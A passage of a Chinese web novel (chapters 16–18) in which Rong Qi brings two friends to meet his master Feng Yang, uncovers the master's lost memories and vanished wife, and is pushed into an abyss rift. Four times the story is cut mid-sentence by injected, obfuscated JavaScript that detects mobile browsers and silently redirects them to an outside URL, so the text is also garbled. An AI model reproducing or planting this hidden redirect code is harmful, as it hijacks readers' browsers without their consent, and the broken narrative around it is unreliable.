距离宁川一中大约六七公里的地方有一座朱崖山,之所以叫朱崖,是因为其间有一面巨大的赤色石壁。对外来的游客来说,这里勉强算是一个不大不小的景点,而对土生土长的本地人来说,那就是一个狗都不去的乱石坡。 此时容栖三人就走在这略有些崎岖的乱石路上。 得亏今天气温还算适宜,不然光是在盛夏的午后来到这种户外就够容栖这种怕热的主受的了。 “还有多远啊?”曲浮玉手搭凉棚,已经能看见不远处高耸的赤壁了。 “快了,”容栖也伸着脖子望了两眼,“绕过赤壁,就在后面的林子里。” 白洛吐槽道:“你师父这是搞什么啊?隐居吗?可这朱崖怎么也算不上清净吧?” 朱崖山本来也不是什么很偏僻的地方,更别说偶尔还有个别被网络上的‘照骗’给忽悠瘸的游客来这里打卡,按说要隐居也犯不着来朱崖山才对。 容栖加快步伐,顺便应道:“就是因为朱崖山这边时不时就有些不懂事的傻白甜来参观打卡,师父他老人家才在这扎了个窝啊。” 白洛和曲浮玉一听,均是有点迷惑。 “这又是为什么?” “唔,不能让人知道、还得时刻守着,你们说还能有什么?” 走在后面的两人对视一眼,异口同声道:“地渊!” 他们已经走到了赤壁跟前,容栖招呼两人一起绕到后面的林子。 “对啊,朱崖山上有一处地渊裂缝,就在我师父那小破屋后面一点。” 裂缝不大,但若是非凡世界之外的普通人误入,绝对是九死一生,甚至十死无生的下场。 白洛奇怪,“既然不是有意在此隐居,那怎么不把地渊裂缝的存在透露给玄鉴司?” 地渊现世二十年,玄鉴司作为官方非凡组织首当其冲,跟地渊裂缝打的交道最多,可谓经验丰富。报上去之后玄鉴司驻守宁川的鉴灵小队甚至可以试着关闭裂缝。 许多玄门组织也乐得让玄鉴司接手这种麻烦事。 除非是在非凡界底蕴比较深的势力,有能力庇护一方安宁的、不愿意玄鉴司插手自家地盘的、企图研究地渊的…… 曲浮玉也想到这种可能,随口替容栖回答白洛,“也不是不可能,他师父大概率是阵门的。宗门支持的话留下地渊裂缝历练后辈什么的也不是不行。” 只是不知道宁川本地的白家知不知情了。 白洛:“也是……嗯?你知道老容会使阵?” 曲浮玉翻了个白眼,“没啊,我猜的!” 才不是,她在拜到师父门下之前曾经在阵门蹉跎了不少时间。这才能在看见时,断定容栖记忆珠上的阵法是封禁阵,还是她绝对破不开的那种。 曲浮玉不知道那个封禁阵是不是容栖的手笔,但如果是阵门的话,这种水平的封禁阵就不奇怪了。 “是不是阵门我也不知道,”容栖这个正牌传人语出惊人,“这么多年师父从没提过。” “不过他的确是个阵法大师就是了,守这么一个小小的地渊裂缝倒是绰绰有余。” 闲聊间,几人总算穿过林间弯曲的小道,来到了容栖所谓地‘小破屋’面前。 “这就是你说的小破屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195047|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 白洛心想之前怎么没发现老容眼光这么高,看他那个小破公寓住的挺开心的呀。 面前这座建筑是木质的,双层的小搂,面前还圈出了一个小院子,凉亭花廊应有尽有。竹林幽栋,虽称不上雕梁画栋,但也绝不简陋了。 容栖没好气道:“你以为这赏心悦目的房子怎么来的?!” 朱崖山就算偶尔有游客,但到底是个不太受待见的鸟不拉屎的乱石坡,最近的旅店都离着两公里。 他师父要是天天住旅馆,先不说钱包受不受得住,等到真要救人的时候,感到现场怕是黄花菜都凉了。 毕竟有些作死的勇士是真的会把头伸到魇兽嘴里去的! 于是师父大人考虑再三,决定把这些微不足道的困难当做给小徒弟的小小考验! 容栖回想起这些年的坎坷就忍不住为自己抹了一把辛酸泪,隔空对着自家缺德的师父咬牙切齿:“这几年吃穿住行,他封阳哪一样不是靠压榨我来的?!” 白洛难得见容栖一脸悲愤的摸样,噗嗤一声毫不遮掩地笑出声。 一旁的曲浮玉却是捕捉到一个熟悉的名字,豁然抬头,一脸震惊地看着容栖。 但容栖暂时没空搭理她。 他刚刚还在念叨的,可谓是容栖修行路上最大的绊脚石的他师父——封阳,施施然地拉开木屋的门,隔着院子遥遥反驳自己不懂事的徒弟。 “怎么能叫压榨呢?这里的哪一样不是小容栖你自己输给我的?” “是你自己技不如人嘛,愿赌服输咯!” 封阳斜靠在门框上,半长的黑发松松垮垮地在脑后扎了个低马尾,零散落了些发丝到胸前。 容栖的混蛋师父长了副好皮囊,明明是大叔的年纪了,懒懒散散没骨头似的靠在那儿也冒着一股子仙气儿。 可惜是个赤脚大仙。 容栖带着白洛两人穿过小院,嫌弃地撵着赤脚大仙儿去穿鞋。 “欺负小孩的黑历史,也就你这种脸皮一天能说个八百回!” 白洛觉得自己真是太天真了,先前还以为这种守着地渊裂缝、庇护一方的大佬肯定是个世外高人的形象。 现在嘛,只能说,你俩不愧是师徒! “容栖,”正在白洛深感槽多无口的时候,曲浮玉突然开口了,“你什么时候拜到你师父门下的?” 白洛先一步开口,“你问这个做什么?”他抱着手一脸探究,“刚才容栖师父开门地时候我就发现了,你那眼睛简直黏在人家身上啊!” “女孩子家家的,你矜持点,”白洛指指点点,“再说人家师父年纪也不小了!” 曲浮玉无语。 “噗!”容栖忍俊不禁。开口时还带着明显的笑意,“哈哈老白我之前怎么没发现,你还挺有想象力啊!” “笑屁啊你!”白洛拍了容栖一下,“我说真的,你在前边没看见,她看你师父的眼神,十分有十二分的不对劲啊!” 容栖还是笑,“这很好啊!说明我找对人啦~” 曲浮玉不再说话,只是眉头死死皱着,眼神沉沉的看着容栖。 哎呀,别这么盯着我,说不定你还得谢我呢。 16. 师娘 容栖起初发现自家师父记忆有缺时,给自己做了好几次思想工作才揣着一颗二十四孝好徒弟的心试图从师父那里问出些许情报,然后帮他找回丢失的记忆。 毕竟他还有个不大不小的金手指,说不定能在观测漫画上找到线索呢? 然而封阳也是个死倔死倔的性子,一身本事都教出去了,师徒二人间却还不太熟的样子。容栖每每问及,封阳要么笑而不语,要么就打哈哈转移话题。 容栖甚至为此和自家混蛋师父进行了无数次毫无意义的赌约。 然后不情不愿的捏着鼻子认输,险些没把竹林小木屋给翻修给独栋别墅了! 这之后容栖反倒被激起了莫名其妙的胜负欲。 没关系,封阳遮遮掩掩的不肯告诉他,他还不能自己查吗?! 据他所知,封阳十多年前就常驻宁川、隐居在朱崖了,既然如此,不就是从十几年前的漫画抽丝剥茧、层层追查吗? 他路葭易的名声不就是这么来的吗! 容栖憋着一股气,做好长期奋斗的准备,一头扎进观测漫画的冗杂信息中。 他做得光明正大,封阳当然也知道自己小徒弟越挫越勇,还在偷偷摸摸地查,查封阳的身份来历、查他十几年前的经历、查他周围可能认识的人。 容栖问起的时候封阳总是四两拨千斤地打太极,这时候却又当没看见,睁一只眼闭一只眼地让容栖自己去查。 谜语人都去死啊!容栖不止一次地在心中吐槽。 而这,也是容栖和封阳斗智斗勇这么多年,定下的最后一个赌约。 没有什么彩头,二人却心照不宣。 不出意外的话,今天就是分出输赢的时候了。 在容栖思索地这一会儿,封阳总算是收拾齐整从里屋出来了。 “徒弟,你第一次带朋友来见我呢,介绍一下?” 他走过来坐下,四个人围着方形的桌子面面相觑。 “咳、”容栖回过神,抬手先是一指白洛,“喏,我跟你说过的,白洛。” “至于这位嘛——”容栖又抬手示意了一下曲浮玉,观察着封阳的神色,“她叫曲浮玉。” 曲浮玉的表情也有点奇怪,静静地等待封阳的反应。 然而让她失望的是,封阳神色不变,只笑道:“哦,欢迎欢迎!我这里可少有这么热闹的时候。” 容栖一脸果然如此地叹了口气。 白洛左看看右看看,只觉得莫名其妙。 “怎么,”还是封阳比较会读空气,察觉到气氛略有不对,“小容栖,不是带朋友来玩儿的?” 他眯了眯眼,看看沉默不语的曲浮玉,又看看容栖,“不妨有话直说?” 曲浮玉缓过神来,深深地看了一眼容栖,“你来说还是我来说?” “呃,你来你来,”容栖轻咳一声,“我稍后再补充。” 白洛算是看明白了,难怪容栖说他这一趟主要起到一个吉祥物的作用呢,敢情这里就他一个是多余的啊! “好,”曲浮玉应道,抬眼看向封阳,语出惊人,“封师叔。” 封阳睁大双眼,毫不掩饰自己的惊讶,“师叔?” 曲浮玉点头,她苦笑道:“我有猜测容栖出身阵门,却没想到他的师父是您。” “我幼时曾在阵门待过一段时间,算起来该叫您一声师叔的。” 封阳拿起桌上的水杯给自己倒了杯水,缓缓道:“可我不认识你。” “不是不认识,只是你忘记了吧。”容栖插嘴道,“师父,我都把人带到你面前了,这下你不能再搪塞我了吧?” 封阳这下还有什么不明白的,他问道:“哦?既然如此,你查出什么了?” 容栖侧过脸,轻笑出声,“唔,你知道的,有些东西很不好查。” “不过嘛,”他眼里溢出狡黠的笑意,紧接着道,“该知道的我都知道啦!” “找到曲姐姐算是意外之喜吧!” 封阳也转过脸,好整以暇的看着容栖,“那你没有什么想说的?” 他就算是记忆有缺,也知道自己在外的名声可不怎么好。而他的徒弟容栖,一向自诩根正苗红,极具道德素养的十佳好青年来着。 容栖要是知道他时不时的口嗨让自家师父对他有这种某种程度上来说极高的期待,估计会有些哭笑不得。 不过此时的容栖不知道师父的腹诽,只见他扬起一个十分浮夸的笑容,像舞台上演出的喜剧演员,得意洋洋的说道:“这一局是我赢了!可怜的封师父~被我踩在脚底下了吧哈哈哈!” 封阳一时无言,嘴角却不自觉微微挑起。 “行吧,小容栖有史以来地第一次胜利,值得纪念。” 封阳附和了一句,转过头目光直视着对面那个陌生的师侄。 “那么,这位曲师侄,容栖应该有告诉你我记忆有缺吧?” 曲浮玉点头,迟疑地问道:“是,封师叔你的记忆里是没有我的存在吗?” 在得到封阳肯定之后,她眉头紧皱,再出口时无端带着一丝迫切:“那您还记得我师父吗?” 容栖观察着两人的神色,微微眯眼。 果不其然,封阳毫无停顿地摇头。 “怎么会……”曲浮玉像是一下泄了气,埋头自语辨不清神色。 “曲姐姐,”容栖适时提醒她,“这就是我想请你帮的忙啦。” 五年前曲浮玉的‘孟婆汤’给了容栖很深的印象,以至于后来在探寻玄门里有关记忆的手段时容栖一下便想到了她。 观测漫画里并没有太多关于曲浮玉的记录,所幸容栖以路葭易的身份参与到了五年前那一场变故,后来才找机会从玄鉴司那里找到了她的情报。 出乎意料的是,玄鉴司内关于曲浮玉的记录竟然意外的齐全。 容栖猜测是因为曲浮玉的师父,那个传授她梦引术的人。 梦引术不是什么烂大街的普通术法,相反,它是专攻精神侧的强大术法。五年前,北邙十字会的人就能利用曲浮玉制造摄人心神的‘孟婆汤’,差点把半个宁川拖入地渊。 虽然还不太熟练,但如今的曲浮玉也已经能对人的记忆下手了。 那十年前、二十年前,曲浮玉的师父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195048|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是什么水平呢?选择性的删掉封阳记忆里的某些东西,可能也不是什么难事? 只可惜曲浮玉的师父实在神秘,玄鉴司也不肯透露半点。 信息太少,容栖连在漫画上查找都无从下手。 但曲浮玉本人自然对她师父有所了解,所以,容栖想办法把她带到了朱崖。 “曲姐姐 ,你对你师父肯定比我们更了解,能和我们说说吗?” 桌子上的三个人视线都聚集到曲浮玉身上。 曲浮玉摇摇头,深吸一口气,“最了解师父的不是我,应该是封师叔你才对。” “你们可是夫妻啊!” “啊?!”这是吃瓜群众白洛。 “什么?!”这是大吃一惊的容栖。 “……?”只是无言以对的封阳。 容栖猜到两人多少会有些渊源,极大可能师父的失忆就是那个神秘的梦引术创始人造成的。 但饶是容栖也没想到是这么个有关法啊! “师父,我一直以为你是没人要的老光棍来着……”容栖语气轻飘飘的。 结合他师父现今在玄门臭名昭著的状态,他满腹阴谋诡计地调查了这么久,满心以为最后的大boss肯定跟他师父有什么深仇大恨。 万万没想到,最后查到自家师娘身上来了! “……我也没想到。”封阳看起来不比他清醒的样子。 白洛看看这个,又看看那个,向曲浮玉催促道:“然后呢?封师叔的失忆是你师父的原因吗?这其中是不是有什么隐情啊?” 他这个事不关己的局外人倒是心情轻松,活像个瓜田里快乐吃瓜的猹! 事关师父和封师叔,曲浮玉没有隐瞒,将自己知道的旧事娓娓道来。 “我第一次见我师父是在阵门,”她看了一眼封阳的方向,“那个时候你们二人已经很亲密了。” 那大约是在二十五年前,曲浮玉十岁左右的事。 听说前往论剑山庄参加试剑大会的小师叔回来了,曲浮玉跟着师兄师姐们去凑了凑热闹。 封师叔身边跟着一个人,一个漂亮得像仙子一样的人。 听说,那位仙子姑娘,叫白暮雪。 连名字也美得像仙子一样。 再见到白暮雪,是在第二天的指导课上。因为试剑大会而躲了懒的封阳被几位师叔撵着来给门内的小弟子们指导基础阵法。 曲浮玉也是其中之一。 曲浮玉八岁被带到阵门,在这里待了两年。她很感谢把她捡回来的张师叔,只是两年过去还没能入门,足以证明她在阵术一道上的天赋之差。 封阳不太会教人,拿这个连基础五行阵都分不清的小姑娘更是没辙。 他在这边急得抓耳挠腮,还是一旁的白暮雪看不过去,不轻不重地笑话他两句上前来帮他。 曲浮玉眼睁睁看着那仙子一样的姐姐走到她面前,葱白的手指在她眼前拂过,她就掉进一片瑰丽又梦幻的神奇世界里。 后来她才知道,那是白暮雪抬手间捏造的一片虚无梦境。 大梦三千,不过一瞬之间。 17. 隐居 曲浮玉在沉浮的梦境看到凭空勾勒的阵纹,以及层叠相接、相生相克的很多种五行变阵。 她醒来时只觉得脑袋昏沉,满载了知识的重量。 不过白暮雪反而很惊讶的样子,她说没想到这姑娘能在她的‘黄粱一梦’里支撑这么久。 “这孩子应当是个修神念的好苗子,荒废在这阵门倒是可惜了。” 这是曲浮玉在累得睡过去之前听到的最后一句话。 之后大概是跳脚的封师叔和白暮雪在争辩什么,但她已经听不清了。 在那之后,白暮雪时不时的会和曲浮玉讲解一些新奇的知识。 不得不说,她可比封阳会教多了。曲浮玉在短短一个月里建立起了对神念和造梦之术的浓厚兴趣。 封阳有时候会和白暮雪一起出现,但似乎也不反对曲浮玉学习这种与阵道无关的旁门之术。 虽然有时候封阳会抱怨白暮雪到他们阵门来挖墙脚,但连小小的曲浮玉也看得出来,两人关系亲密,他也并不介意。 于是顺理成章的,在三叩拜别引她入门的张师叔之后,曲浮玉拜到了白暮雪门下。 她也知道了,自己师父那神奇的造梦之术,名叫梦引。 曲浮玉跟在白暮雪身边五年,第四年的时候,白暮雪和封阳水到渠成地结为夫妻。 半年后,封阳赴友人之约,出了一趟远门。 之后再半年,就是轰动整个非凡界的大灾变。 “云中云氏素有神算的美称,在神念一道颇有研究,大灾变发生的时候,师父带着我在云氏问道。”曲浮玉抬头看着封阳,“但在大灾变之后,师父独自离去,应当是去寻封师叔了。” “而这一去,我就再也没有见过师父了。”曲浮玉声音有些艰涩,“当时地渊初现,玄门动荡,多亏云家庇护,我才能安然无恙。” “我一直在云中等着师父,一直到两年后,有人传来我师父的死讯,我不愿相信,离开云家独自在外寻找。” 说到这里,曲浮玉垂下眼,“只是始终没有她的消息。” 故事很长,曲浮玉停下来的时候一时没有人说话。 容栖将各种信息在心里一整合,心想怪不得曲浮玉有胆子向云生借玄机宝镜,原来她跟云家还有这层关系。 思绪绕回自家师父身上,容栖有点头疼,虽说现在是搞明白白暮雪这个人的存在了,但曲浮玉看到的毕竟有限,最关键的部分还是一无所知。 那空白的两年到底发生了什么?若真是白暮雪抹去了师父的记忆,她为什么要这么做? 另外,从曲浮玉的讲述来看,混蛋师父年轻时人也蛮正常的,现在怎么会落得个堪称人见人骂的下场? 时间太微妙了,容栖直觉和二十年前那场大灾变有关系。 半晌,容栖听见他师父轻轻开口,“原来如此,那她、那位白姑娘,是真的已经去世了吗?” 曲浮玉眼角泛着红,沉默了一会儿,低声道:“……不知道。” “我没有找到她的踪迹,”她放在桌上的手握紧,“……但也没有她不在了的证明!” 容栖叹了口气,说道:“暂且先不提我师娘是死是活,但基本可以确定师父的记忆缺失就是梦引术所致的了。” 白洛对神念不太了解,他也就最多知道那些天授神通的神念者罢了,对玄门修神术却是知之甚少。连忙不耻下问:“呃……为什么这么说?” 容栖看他一眼,又叹了口气,“因为时间。” “虽说都是修神,但记忆不是那么容易动的,”曲浮玉大概知道白洛在疑惑什么,“在师父的梦引术之前,玄门所有的修神法门都已传承多年,一脉相承的道统几乎是人尽皆知。” 容栖点头附和,“就像云家的衍天机,也是归在神念一道,但玄门皆知云家人没有手段能对记忆下手。” 白洛听明白了,“所以说,排除玄门里其他的修神法门,就只有你师娘了?” 虽然不想承认,但曲浮玉还是肯定了他的想法,“那两年时间里,有这个能力,且能接近封师叔的,确实只有我师父一人。” 先不提封阳本身实力不低,其他人想要对封阳的记忆动手脚也要先瞒得过白暮雪这个修神大家才行。 只是不知道当年到底发生了什么变故,导致这两人如今一人行踪成谜、一人记忆有失? 容栖知道他师父记忆中的大片空白就集中在那两年之间,至于其他时间,除去他师娘之外的其他一切似乎都很正常。 但无奈两位当事人都没有机会提供有效的信息。 “要不然我用梦引术给封师叔看看?”曲浮玉提议道。 不论如何,要是能从封师叔这里得到师父的下落,对她来说是比玄机宝镜更珍贵的回报。 但容栖看了看他师父,一口回绝,“还是不要了,曲姐姐你那技术还没练好吧?万一一个手滑给我师父来了个记忆大清空,我找谁哭去?” 曲浮玉以为他不信任自己,连忙保证,“你放心,我对封师叔绝无恶意!” “唔……倒也不是这么一回事,”容栖状似为难,一歪脑袋问封阳,“师父你看呢?” 封阳眼神轻轻从他身上刮过,冲曲浮玉抱歉地笑笑,“多谢曲师侄的好意,还是免了吧。” 他挂着和煦的微笑,说出口的话却算不上客气,“还是说曲师侄是有把握破了你师父的法门?” 容栖心想我就知道,其实他师父防备心还挺重的来着。 曲浮玉一噎,丧气道:“……破不了,如果只是把记忆隐藏的话,等我梦引术大成说不定可以一试。” 但也不排除其他情况,“但如果是直接把记忆抹去了,或者被师父取出来带走了,那我就无能为力了。” 见曲浮玉很消沉的样子,自觉非常善良的容栖安慰她,“别那么悲观嘛,再大的难题,找到你师父就都迎刃而解了啊!” 没错,虽说曲浮玉的能力不足以解决封阳的问题,但她的到来却为容栖指明了一个非常明显的方向。 不过这话听在曲浮玉耳朵里可半点不像安慰。 “你还说风凉话!”曲浮玉只觉得这小子实在是面目可憎,她要是能凭自己找到师父,五年前何必求借玄机宝镜,以至于如今时刻都要躲着北邙的人走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195049|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呃……” 容栖摸摸鼻子,只觉得莫名其妙,他说的也没什么问题嘛。 白洛喝茶:“所以事情就暂时陷入僵局了对吧?” “算是吧,”容栖也端起茶杯,“主要是一时半会儿找不到师娘。” “但好歹是有了一个准确的方向了不是吗?足够了吧?”容栖这话是对他师父说的。 按理说,即便是记忆有两年空白,但容栖见他师父在朱崖一住就是十年,曾经一度以为他是以霞为友、以云为朋,达到了避世绝俗、望峰息心的境界。 但最近两年,他发现自己可能想错了。 封阳的隐居生活并不像他看到的那样怡然自得、乐在其中。 那空白的两年一定发生了什么重大的变故,让他师父在玄门的名声一落千丈,也让其惶恐不安很多年。 木屋里的物资每隔一段时间都有人来补充,他师父反倒很少出门,容栖起初以为是阵门安排的。 直到有一次发现来者会被他布置在竹林里的基础困阵给拦住,容栖开始怀疑起来人的身份。 不过从那之后,容栖再也没有撞见过来送物资的人了。 这下,容栖开始怀疑起他师父‘隐居’朱崖的真相。 究竟是他师父懒得出门,还是被困在朱崖不能离开呢? 容栖一边盘算着势必要查个水落石出,一边拿出比平时认真十倍的态度跟着他师父学真本事。 封阳啧啧称奇,然后也拿出十倍的力度死命蹂躏自己的聪明徒弟。 这样的痛苦日子持续了一年多,卷得容栖都想原地躺平,放他那半点不值得同情的混蛋师父自生自灭去得了! 好在皇天不负有心人,在容栖斗志彻底熄灭之前,封阳大手一挥,宣布容栖可以出师自己去闯荡江湖了! 还没来得及高兴,容栖却突然发现这似乎不是一个好的信号。 把自己的浑身本事传给容栖之后,封阳像是完成了什么任务,又像是放下了什么包袱。 以专注学习为借口,容栖被他师父赶回去好好上学,还总是阻拦他往朱崖山跑。 与之相对的,封阳自己待在朱崖的时间变短了。 容栖察觉到了他师父的躁动,那是将要闯出界限,一去不返的躁动。 他不知道师父这么做的后果是什么,但总有不好的预感。 总之,从那一天起,容栖用自己不应有的演技尽全力的阻拦他师父。 封阳可能察觉到了,也可能只是单纯的嘲笑。 他说,小容栖你是突然茅塞全堵、十窍都不开吗?还有,舞刀弄枪的玩意儿也拿来问我,我一个阵师,你认真的? 然后容栖就和他师父久违地打了一个赌。 封阳离开朱崖或许有重重阻力,但容栖没有。 你在意的事,我去帮你查。 只是知道的越多,说不定原本自由的容栖也会被人盯上。 所以—— 你也不用透露给我什么,我会查到的。在那之前,你就给我乖乖待在朱崖! ……时间呢? 两个月! 18. 异变 少年人掷地有声的承诺犹在耳畔,封阳看着眼前的容栖,心想他这不是教出了个很好的弟子吗?! 倒是难得啊! 容栖见他久久不言,以为他是觉得不够,沉吟片刻道:“如果是找人的话,你亲自去反倒是不方便,交给我就行了吧!” 他故作轻松,两手一摊,调笑道:“反正你不是说我已经可以出师了吗?” 碍于白洛和曲浮玉,容栖话说的隐晦,但他相信封阳能听懂。 要去找一个失踪近二十年的人必然不是一天两天的事,封阳要是贸然离开朱崖,指不定身后得追着多少小尾巴呢。 他自己都麻烦缠身,还不如把找人这种事甩给容栖去做。 “你说得对,”封阳如他所愿地轻轻点头,“这一次,是你赢了。” 容栖松了一口气,总算是稳住了师父。明明封阳这个事件的亲历者手里会有更多线索,就算只是一些故人旧事,找起人来反正一定比他这个连十八年都没活满的局外人轻松。 但容栖就是无端觉得绝不能轻易放师父离开。 他就是觉得,这一步的代价,会很重! 好在留住了师父,而且还迎来了他们师徒俩对赌生涯中容栖的第一次胜利! 值得纪念! 然而志得意满的胜利笑容还没来得及绽开,容栖突然听到他师父语气惊慌地喊他:“糟糕!小容栖,有人闯进了地渊裂缝!你快去后面看看!” 容栖心里一跳,“地渊?你怎么不去?” 他是知道封阳在裂缝口布置了阵法的,拦截偶尔跑出来的魇兽,也可以在有人误入时第一时间有所感应。 封阳心虚地冲他眨眨眼,“那个、哈哈……我腿麻了……” 容栖眼角一抽,低头果然看见封阳双脚离地,别扭地盘在窄小的椅面上。 “真是服了你了!”嘴上说着,容栖已经站起身,普通人误入地渊还是趁早捞出来的好。 不过反正也不是第一次了,容栖多少也算业务纯熟。 他摆摆手留下一句我很快回来就潇洒离去。 容栖走后,封阳突然面露难色,无奈道:“这次掉进去的人有点多,容栖怕是照看不过来。” 他殷切的请求,“二位前去助他一臂之力可好?” 白洛和曲浮玉对视一眼,没有拒绝。 从封阳的木屋往后走一段距离有一块一人多高的青石,青石前方两米的地方立了一块牌子,上书‘猛兽出没,请勿前行!’ 但那牌子就是普通的硬纸板,用粗硬的马克笔写了不伦不类的警示语。容栖走到警示牌面前,暗自吐槽这东西做得是真敷衍。 他刚在这牌子面前停了两秒,就听见后方传来白洛的嚷声。 “老容!等等我们啊,你师父说人比较多,你一个人可能顾不上来啊!” 白洛几步跑到容栖身边,眼睛找着地渊裂缝的入口。 “入口呢?咱们快进去!” 容栖一把抓住他,问紧随而来的曲浮玉,“我师父让你也跟来?” 曲浮玉比他还奇怪,“是,他是说的我们俩都来,不过我的梦引术对一部分地渊生物无效……” 不对劲,很不对劲。 容栖迅速问道:“误入地渊的人很多?师父什么时候说的?” “封师叔是这么说的,你前脚刚走,他就让我们来帮你……” “糟了!快回去!”容栖不等她说完,推着她就要回木屋。 白洛不明所以,但也转身准备跟上两人,嘴里还在追问,“回去?那哪些误入地渊的人怎么办?” “没有什么……” 容栖耐着性子解释,眼角捕捉到白洛落后一步的身影,顿时瞳孔一缩。 刚走出两步的白洛猛然被迎面而来的一股劲风扫得向后急退。 “小心!” 刚才白洛冲的最急,本来就离青石的位置很近,这一退更是退到了青石边上。 而那青石的一侧,就是地渊裂缝! 容栖连忙回身几步上前,打算把白洛拉回来,却突然听见背对着自己的曲浮玉也发出一声惊呼。 但这一次被袭击的,是容栖。 于是那边的白洛刚刚扶着青石勉强站稳,结果迎面扑来的容栖直接带着他咕噜噜地就滚进了地渊裂缝。 白洛:……? 晕头转向的被撞进地渊,他甚至还给容栖作了一次肉垫。 不到一秒的时间,白洛感觉身上忽然又一重。 !!! 那是紧接着自己跳进来的曲浮玉。 “好了,闲杂人等都退场了——”封阳拍拍手,对着空无一人的竹林扬声道:“远来是客,贵客不妨进屋里坐坐?” “你倒是舍得。” 封阳闻声回头,只看见一个身形纤细高挑的漆黑人影,宽大的兜帽罩住了脸,只隐约瞥见开合的唇瓣。 那高挑的人影先他一步往木屋走去。 封阳挑眉,这人还真不客气。 他也不生气,抬步跟上,口中漫不经心道:“年轻人嘛,就是要多历练历练,哪有什么舍不舍得的!” “呵,是吗。”兜帽下传来冷淡的女声,“你的好徒弟查到了不少,的确是个好帮手。” “哈,看来你知道的也不少,”封阳声音一顿,“但他还是算了吧,还是个什么都不知道的孩子呢。” “随你,跟我走吧。” 封阳回头看一眼越来越远的潦草随意的警示牌,应了一声。 “嗯,走吧。” “起、起来……” 被压在最底下的白洛痛苦呻吟,觉得自己绝对是承受了生命不能承受的重量。 等容栖两人把叫唤的白洛拉起来之后他还一脸懵逼。 “所以说,到底怎么回事?” 白洛默默揉揉自己好像死掉一样的屁股,痛的直抽气,“我刚抬头,还没看清人呢,一下就被老容你给天降正义砸下来了!” 容栖没好气道:“还不是为了救你,你不是近战高手吗?这么弱不禁风,一推就倒啊?!” “你不也说了是近战!老子刚才连人影都没看见!” “还不是你自己傻,干嘛冲那么远,没看见那么大个警示牌吗?!傻子都知道先打你!” 两个小学鸡吗?! 曲浮玉深吸一口气,以迅雷不及掩耳之势单手结了个印,两步横插到二人中间,而后抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195050|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一挥。 也就是一秒不到的时间,容栖和白洛地眼神迅速迷蒙又恢复清明。 然后立刻切换成惊恐。 曲浮玉舒服了,满意点头。 这一招就是小时候她师父施展过的“黄粱一梦”,不过在曲浮玉这里,正儿八经的无源老成员对‘黄粱一梦’稍稍做了一点点拓展。 看着只是一瞬间,但容栖和白洛在梦境里看到的东西绝对给他俩带来了巨大的伤害。 “我的眼睛啊啊啊啊!!!刚才那是什么东西?!” “我的妈呀我不干净了!呕、我靠啊太恶心了!!!” 果不其然,两人一阵吱哇乱叫。 “现在不吵了?冷静下来了?”硬核泼冷水的曲浮玉一脸高贵冷艳。 惨遭视觉污染的哥俩迅速和好,用力点头。 “冷静了冷静了,都快冒冷汗了哈、哈!” “嗯嗯嗯!” 曲浮玉终于放过他们,环顾一周,迟疑道:“我们这是……掉进地渊了?” 她倒是进过地渊,但是眼前这个让她有点不确定。 白洛长这么大还没去过地渊呢,闻言好奇地向四周看去。 “嚯!这就是地渊吗?这么时髦?” 他们所处的这个空间,除去一眼可以看见的魔幻的迷蒙边界和明显和现实不同的天空之外,简直就是现实世界的翻版,顶多脏了些、破了些、荒凉了些。 三人掉进来的地方看起来类似于现世街边的地铁口,破旧的建筑上遍布一些铁锈似的污渍。 更远的地方影影绰绰的有许多其他建筑的影子,但相比那些更为明显的是看起来又深又广的黑暗断层横亘在地铁口外围,仿佛给他们画了一个限定的路线,逼着几人往地铁口里走。 而头顶是与现实迥异的天空,昏黄浑浊的天幕上挂着一轮血红的圆月,洒下的光明明也是浑浊的,却诡异地照亮了地面。 白洛细细看过一遍后,纠结地小声说道:“这里的PM2.5一定超标了吧!” 这里的空气看起来简直让人有一种呼吸都在吃灰的错觉! “我之前去过的地渊裂缝都没有这样的,”曲浮玉忍不住皱眉,回头看了看他们掉进来的地方,“入口也没了。” 容栖收回视线,“看来事情有点麻烦了。” 